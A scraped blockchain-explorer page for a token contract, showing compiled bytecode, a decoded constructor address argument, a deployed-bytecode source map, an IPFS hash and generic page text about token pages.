169190910160400192915050565b6001600160a01b038116811461069857600080fd5b60008060408385031215610f8f57600080fd5b8235610f9a81610f67565b946020939093013593505050565b600080600060608486031215610fbd57600080fd5b8335610fc881610f67565b92506020840135610fd881610f67565b929592945050506040919091013590565b600060208284031215610ffb57600080fd5b81356104ed81610f67565b60006020828403121561101857600080fd5b5035919050565b6000806040838503121561103257600080fd5b823561103d81610f67565b9150602083013561104d81610f67565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561047457610474611058565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561047457610474611058565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110f157600080fd5b81516104ed81610f67565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561114c5784516001600160a01b031683529383019391830191600101611127565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761047457610474611058565b6000826111a157634e487b7160e01b600052601260045260246000fd5b500490565b600082516111b8818460208701610f10565b919091019291505056fea2646970667358221220922ece230efc1df5bb3f46c2bd4e0d3693be57564937506823bc1a96f81d688b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000009a73fc38ba73af5d9b54bf67446a7816347aedc6

-----Decoded View---------------
Arg [0] : _init (address): 0x9a73Fc38ba73af5D9B54bf67446a7816347AEDC6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000009a73fc38ba73af5d9b54bf67446a7816347aedc6


Deployed Bytecode Sourcemap

4658:6649:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6250:73;;;;;;;;;;;;6281:42;6250:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6250:73:0;;;;;;;;5781:40;;;;;;;;;;;;;;;;;;;368:25:1;;;356:2;341:18;5781:40:0;222:177:1;5052:80:0;;;;;;;;;;-1:-1:-1;5124:5:0;;;;;;;;;;;;-1:-1:-1;;;5124:5:0;;;;5052:80;;;;;;;:::i;7347:161::-;;;;;;;;;;-1:-1:-1;7347:161:0;;;;;:::i;:::-;;:::i;:::-;;;1681:14:1;;1674:22;1656:41;;1644:2;1629:18;7347:161:0;1516:187:1;4708:125:0;;;;;;;;;;-1:-1:-1;5752:22:0;4708:125;;7783:306;;;;;;;;;;-1:-1:-1;7783:306:0;;;;;:::i;:::-;;:::i;8097:109::-;;;;;;;;;;-1:-1:-1;8097:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;8183:15:0;8159:4;8183:15;;;:6;:15;;;;;;;;;8097:109;4839:117;;;;;;;;;;-1:-1:-1;4839:117:0;;6241:2;2563:36:1;;2551:2;2536:18;4839:117:0;2421:184:1;5713:61:0;;;;;;;;;;;;5752:22;5713:61;;6330:21;;;;;;;;;;-1:-1:-1;6330:21:0;;;;-1:-1:-1;;;;;6330:21:0;;;11096:208;;;;;;;;;;-1:-1:-1;11096:208:0;;;;;:::i;:::-;;:::i;:::-;;5363:117;;;;;;;;;;-1:-1:-1;5363:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5456:16:0;5429:7;5456:16;;;:7;:16;;;;;;;5363:117;926:94;;;;;;;;;;;;;:::i;5138:80::-;;;;;;;;;;-1:-1:-1;5190:7:0;776:6;-1:-1:-1;;;;;776:6:0;5138:80;;4962:84;;;;;;;;;;-1:-1:-1;5036:7:0;;;;;;;;;;;;-1:-1:-1;;;5036:7:0;;;;4962:84;;7174:165;;;;;;;;;;-1:-1:-1;7174:165:0;;;;;:::i;:::-;;:::i;6075:27::-;;;;;;;;;;-1:-1:-1;6075:27:0;;;;-1:-1:-1;;;;;6075:27:0;;;5870:45;;;;;;;;;;;;5912:3;5870:45;;5224:133;;;;;;;;;;-1:-1:-1;5224:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5326:19:0;;;5308:7;5326:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5224:133;5828:35;;;;;;;;;;;;5862:1;5828:35;;1028:192;;;;;;;;;;-1:-1:-1;1028:192:0;;;;;:::i;:::-;;:::i;7347:161::-;7424:4;7441:37;7450:10;7462:7;7471:6;7441:8;:37::i;:::-;-1:-1:-1;7496:4:0;7347:161;;;;;:::o;7783:306::-;-1:-1:-1;;;;;7904:19:0;;7883:4;7904:19;;;:11;:19;;;;;;;;7924:10;7904:31;;;;;;;;-1:-1:-1;;7904:52:0;7900:126;;-1:-1:-1;;;;;7973:19:0;;;;;;:11;:19;;;;;;;;7993:10;7973:31;;;;;;;:41;;8008:6;;7973:19;:41;;8008:6;;7973:41;:::i;:::-;;;;-1:-1:-1;;7900:126:0;8045:36;8055:6;8063:9;8074:6;8045:9;:36::i;:::-;8038:43;;7783:306;;;;;;:::o;11096:208::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;332:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;;;;;;;;;11185:3:::1;11175:6;:13;;11167:51;;;::::0;-1:-1:-1;;;11167:51:0;;4241:2:1;11167:51:0::1;::::0;::::1;4223:21:1::0;4280:2;4260:18;;;4253:30;4319:28;4299:18;;;4292:56;4365:18;;11167:51:0::1;4039:350:1::0;11167:51:0::1;11229:13;:22:::0;;;11267:29:::1;::::0;368:25:1;;;11267:29:0::1;::::0;356:2:1;341:18;11267:29:0::1;;;;;;;11096:208:::0;:::o;926:94::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;332:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;991:21:::1;1009:1;991:9;:21::i;:::-;926:94::o:0;7174:165::-;7252:4;7269:40;7279:10;7291:9;7302:6;7269:9;:40::i;:::-;-1:-1:-1;7327:4:0;;7174:165;-1:-1:-1;;;7174:165:0:o;1028:192::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;332:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1117:22:0;::::1;1109:73;;;::::0;-1:-1:-1;;;1109:73:0;;4596:2:1;1109:73:0::1;::::0;::::1;4578:21:1::0;4635:2;4615:18;;;4608:30;4674:34;4654:18;;;4647:62;-1:-1:-1;;;4725:18:1;;;4718:36;4771:19;;1109:73:0::1;4394:402:1::0;1109:73:0::1;1193:19;1203:8;1193:9;:19::i;:::-;1028:192:::0;:::o;7516:259::-;-1:-1:-1;;;;;7611:20:0;;7603:52;;;;-1:-1:-1;;;7603:52:0;;5003:2:1;7603:52:0;;;4985:21:1;5042:2;5022:18;;;5015:30;-1:-1:-1;;;5061:18:1;;;5054:49;5120:18;;7603:52:0;4801:343:1;7603:52:0;-1:-1:-1;;;;;7674:21:0;;7666:53;;;;-1:-1:-1;;;7666:53:0;;5003:2:1;7666:53:0;;;4985:21:1;5042:2;5022:18;;;5015:30;-1:-1:-1;;;5061:18:1;;;5054:49;5120:18;;7666:53:0;4801:343:1;7666:53:0;-1:-1:-1;;;;;7730:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;7516:259::o;8588:959::-;8668:4;8700;-1:-1:-1;;;;;8723:16:0;;8715:64;;;;-1:-1:-1;;;8715:64:0;;5351:2:1;8715:64:0;;;5333:21:1;5390:2;5370:18;;;5363:30;5429:34;5409:18;;;5402:62;-1:-1:-1;;;5480:18:1;;;5473:33;5523:19;;8715:64:0;5149:399:1;8715:64:0;-1:-1:-1;;;;;8798:18:0;;8790:68;;;;-1:-1:-1;;;8790:68:0;;5755:2:1;8790:68:0;;;5737:21:1;5794:2;5774:18;;;5767:30;5833:34;5813:18;;;5806:62;-1:-1:-1;;;5884:18:1;;;5877:35;5929:19;;8790:68:0;5553:401:1;8790:68:0;8886:1;8877:6;:10;8869:64;;;;-1:-1:-1;;;8869:64:0;;6161:2:1;8869:64:0;;;6143:21:1;6200:2;6180:18;;;6173:30;6239:34;6219:18;;;6212:62;-1:-1:-1;;;6290:18:1;;;6283:39;6339:19;;8869:64:0;5959:405:1;8869:64:0;8949:17;8957:4;8963:2;8949:7;:17::i;:::-;:29;;;;-1:-1:-1;8972:6:0;;-1:-1:-1;;;8972:6:0;;;;8971:7;8949:29;8946:243;;;9044:4;8995:28;5456:16;;;:7;:16;;;;;;9092:13;;9068:37;;9065:113;;9127:34;9140:20;9127:12;:34::i;:::-;8980:209;8946:243;-1:-1:-1;;;;;9205:12:0;;;;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;9221:10:0;;;;;;:6;:10;;;;;;;;9205:26;9201:73;;;-1:-1:-1;9257:5:0;9201:73;9286:22;9312:7;9311:63;;9368:6;9311:63;;;9323:42;9333:4;9339:17;9347:4;9353:2;9339:7;:17::i;:::-;9358:6;9323:9;:42::i;:::-;-1:-1:-1;;;;;9385:11:0;;;;;;:7;:11;;;;;:29;;9286:88;;-1:-1:-1;9286:88:0;;9385:11;;;:29;;9286:88;;9385:29;:::i;:::-;;;;-1:-1:-1;9443:15:0;;-1:-1:-1;9453:4:0;9443:9;:15::i;:::-;:24;;9466:1;9443:24;;;9459:6;9443:24;-1:-1:-1;;;;;9426:13:0;;;;;;:7;:13;;;;;:41;;:13;;;:41;;;;;:::i;:::-;;;;;;;;9498:2;-1:-1:-1;;;;;9483:34:0;9492:4;-1:-1:-1;;;;;9483:34:0;;9502:14;9483:34;;;;368:25:1;;356:2;341:18;;222:177;9483:34:0;;;;;;;;-1:-1:-1;9535:4:0;;8588:959;-1:-1:-1;;;;;8588:959:0:o;1228:173::-;1284:16;1303:6;;-1:-1:-1;;;;;1320:17:0;;;-1:-1:-1;;;;;;1320:17:0;;;;;;1353:40;;1303:6;;;;;;;1353:40;;1284:16;1353:40;1273:128;1228:173;:::o;8415:165::-;-1:-1:-1;;;;;8515:13:0;;8481:4;8515:13;;;:8;:13;;;;;;8481:4;;8515:13;;:31;;;;-1:-1:-1;;;;;;8533:13:0;;;;;;:8;:13;;;;;;;;8532:14;8515:31;8499:47;8415:165;-1:-1:-1;;;;8415:165:0:o;10309:779::-;6415:6;:13;;-1:-1:-1;;;;6415:13:0;-1:-1:-1;;;6415:13:0;;;10426:16:::1;::::0;;10440:1:::1;10426:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10426:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10426:16:0::1;10402:40;;10471:4;10453;10458:1;10453:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10453:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10497:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10497:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10453:7;;10497:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10487:4;10492:1;10487:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10487:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;10551:4:::1;10531:26;::::0;;;:11:::1;:26:::0;;;;;;10566:10:::1;::::0;;;::::1;10531:47:::0;;;;;;;;-1:-1:-1;;10531:68:0::1;10527:168;;10636:4;10616:26;::::0;;;:11:::1;:26;::::0;;;;;;;10651:10:::1;::::0;-1:-1:-1;;;;;10651:10:0::1;10616:47:::0;;;;;;;-1:-1:-1;;10616:67:0;;10527:168:::1;10711:10;::::0;:200:::1;::::0;-1:-1:-1;;;10711:200:0;;-1:-1:-1;;;;;10711:10:0;;::::1;::::0;:61:::1;::::0;:200:::1;::::0;10787:20;;10711:10:::1;::::0;10838:4;;10865::::1;::::0;10885:15:::1;::::0;10711:200:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10707:247;;10936:7;;;10707:247;10964:12;10992:21;:25:::0;10989:91:::1;;11032:9;::::0;:48:::1;::::0;-1:-1:-1;;;;;11032:9:0;;::::1;::::0;11054:21:::1;::::0;11032:48:::1;::::0;;;11054:21;11032:9;:48:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;11019:61:0;;-1:-1:-1;;10989:91:0::1;10381:707;;6439:1;-1:-1:-1::0;6451:6:0;:14;;-1:-1:-1;;;;6451:14:0;;;10309:779::o;9555:746::-;9635:7;;9681:26;;;;-1:-1:-1;5862:1:0;9681:26;9722:3;9729:1;9722:8;9718:28;;9740:6;9733:13;;;;;9718:28;9760:17;5912:3;9780:12;9789:3;9780:6;:12;:::i;:::-;:30;;;;:::i;:::-;9760:50;-1:-1:-1;9825:13:0;;9821:437;;9855:18;6014:3;9876:16;9855:18;9876:6;:16;:::i;:::-;:34;;;;:::i;:::-;9941:4;9925:22;;;;:7;:22;;;;;:35;;9855:55;;-1:-1:-1;9951:9:0;;9925:22;;;:35;;9951:9;;9925:35;:::i;:::-;;;;-1:-1:-1;;9980:40:0;;368:25:1;;;10003:4:0;;-1:-1:-1;;;;;9980:40:0;;;;;356:2:1;341:18;9980:40:0;;;;;;;10040:14;;10037:210;;10091:4;10075:22;;;;:7;:22;;;;;:36;;10101:10;;10075:22;:36;;10101:10;;10075:36;:::i;:::-;;;;-1:-1:-1;;6281:42:0;10130:22;;;;:7;:22;;;:36;;10156:10;;10130:22;:36;;10156:10;;10130:36;:::i;:::-;;;;-1:-1:-1;;10190:41:0;;368:25:1;;;6281:42:0;;10207:4;;10190:41;;356:2:1;341:18;10190:41:0;;;;;;;10037:210;9840:418;9821:437;10275:18;10284:9;10275:6;:18;:::i;:::-;10268:25;9555:746;-1:-1:-1;;;;;;9555:746:0:o;8214:193::-;8309:9;;8324:43;;;-1:-1:-1;;;;;178:32:1;;;8324:43:0;;;;160:51:1;;;;8324:43:0;;;;;;;;;;133:18:1;;;;8324:43:0;;;;;;;-1:-1:-1;;;;;8324:43:0;-1:-1:-1;;;8324:43:0;;;8309:59;;8268:4;;;;8309:9;;:59;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8285:83;;;8386:4;8391:2;8386:8;;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;;8386:8:0;:13;;8214:193;-1:-1:-1;;;8214:193:0:o;404:250:1:-;489:1;499:113;513:6;510:1;507:13;499:113;;;589:11;;;583:18;570:11;;;563:39;535:2;528:10;499:113;;;-1:-1:-1;;646:1:1;628:16;;621:27;404:250::o;659:396::-;808:2;797:9;790:21;771:4;840:6;834:13;883:6;878:2;867:9;863:18;856:34;899:79;971:6;966:2;955:9;951:18;946:2;938:6;934:15;899:79;:::i;:::-;1039:2;1018:15;-1:-1:-1;;1014:29:1;999:45;;;;1046:2;995:54;;659:396;-1:-1:-1;;659:396:1:o;1060:131::-;-1:-1:-1;;;;;1135:31:1;;1125:42;;1115:70;;1181:1;1178;1171:12;1196:315;1264:6;1272;1325:2;1313:9;1304:7;1300:23;1296:32;1293:52;;;1341:1;1338;1331:12;1293:52;1380:9;1367:23;1399:31;1424:5;1399:31;:::i;:::-;1449:5;1501:2;1486:18;;;;1473:32;;-1:-1:-1;;;1196:315:1:o;1708:456::-;1785:6;1793;1801;1854:2;1842:9;1833:7;1829:23;1825:32;1822:52;;;1870:1;1867;1860:12;1822:52;1909:9;1896:23;1928:31;1953:5;1928:31;:::i;:::-;1978:5;-1:-1:-1;2035:2:1;2020:18;;2007:32;2048:33;2007:32;2048:33;:::i;:::-;1708:456;;2100:7;;-1:-1:-1;;;2154:2:1;2139:18;;;;2126:32;;1708:456::o;2169:247::-;2228:6;2281:2;2269:9;2260:7;2256:23;2252:32;2249:52;;;2297:1;2294;2287:12;2249:52;2336:9;2323:23;2355:31;2380:5;2355:31;:::i;2610:180::-;2669:6;2722:2;2710:9;2701:7;2697:23;2693:32;2690:52;;;2738:1;2735;2728:12;2690:52;-1:-1:-1;2761:23:1;;2610:180;-1:-1:-1;2610:180:1:o;3020:388::-;3088:6;3096;3149:2;3137:9;3128:7;3124:23;3120:32;3117:52;;;3165:1;3162;3155:12;3117:52;3204:9;3191:23;3223:31;3248:5;3223:31;:::i;:::-;3273:5;-1:-1:-1;3330:2:1;3315:18;;3302:32;3343:33;3302:32;3343:33;:::i;:::-;3395:7;3385:17;;;3020:388;;;;;:::o;3413:127::-;3474:10;3469:3;3465:20;3462:1;3455:31;3505:4;3502:1;3495:15;3529:4;3526:1;3519:15;3545:128;3612:9;;;3633:11;;;3630:37;;;3647:18;;:::i;3678:356::-;3880:2;3862:21;;;3899:18;;;3892:30;3958:34;3953:2;3938:18;;3931:62;4025:2;4010:18;;3678:356::o;6369:125::-;6434:9;;;6455:10;;;6452:36;;;6468:18;;:::i;6631:127::-;6692:10;6687:3;6683:20;6680:1;6673:31;6723:4;6720:1;6713:15;6747:4;6744:1;6737:15;6763:251;6833:6;6886:2;6874:9;6865:7;6861:23;6857:32;6854:52;;;6902:1;6899;6892:12;6854:52;6934:9;6928:16;6953:31;6978:5;6953:31;:::i;7019:980::-;7281:4;7329:3;7318:9;7314:19;7360:6;7349:9;7342:25;7386:2;7424:6;7419:2;7408:9;7404:18;7397:34;7467:3;7462:2;7451:9;7447:18;7440:31;7491:6;7526;7520:13;7557:6;7549;7542:22;7595:3;7584:9;7580:19;7573:26;;7634:2;7626:6;7622:15;7608:29;;7655:1;7665:195;7679:6;7676:1;7673:13;7665:195;;;7744:13;;-1:-1:-1;;;;;7740:39:1;7728:52;;7835:15;;;;7800:12;;;;7776:1;7694:9;7665:195;;;-1:-1:-1;;;;;;;7916:32:1;;;;7911:2;7896:18;;7889:60;-1:-1:-1;;;7980:3:1;7965:19;7958:35;7877:3;7019:980;-1:-1:-1;;;7019:980:1:o;8214:168::-;8287:9;;;8318;;8335:15;;;8329:22;;8315:37;8305:71;;8356:18;;:::i;8387:217::-;8427:1;8453;8443:132;;8497:10;8492:3;8488:20;8485:1;8478:31;8532:4;8529:1;8522:15;8560:4;8557:1;8550:15;8443:132;-1:-1:-1;8589:9:1;;8387:217::o;8609:287::-;8738:3;8776:6;8770:13;8792:66;8851:6;8846:3;8839:4;8831:6;8827:17;8792:66;:::i;:::-;8874:16;;;;;8609:287;-1:-1:-1;;8609:287:1:o

Swarm Source

ipfs://922ece230efc1df5bb3f46c2bd4e0d3693be57564937506823bc1a96f81d688b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.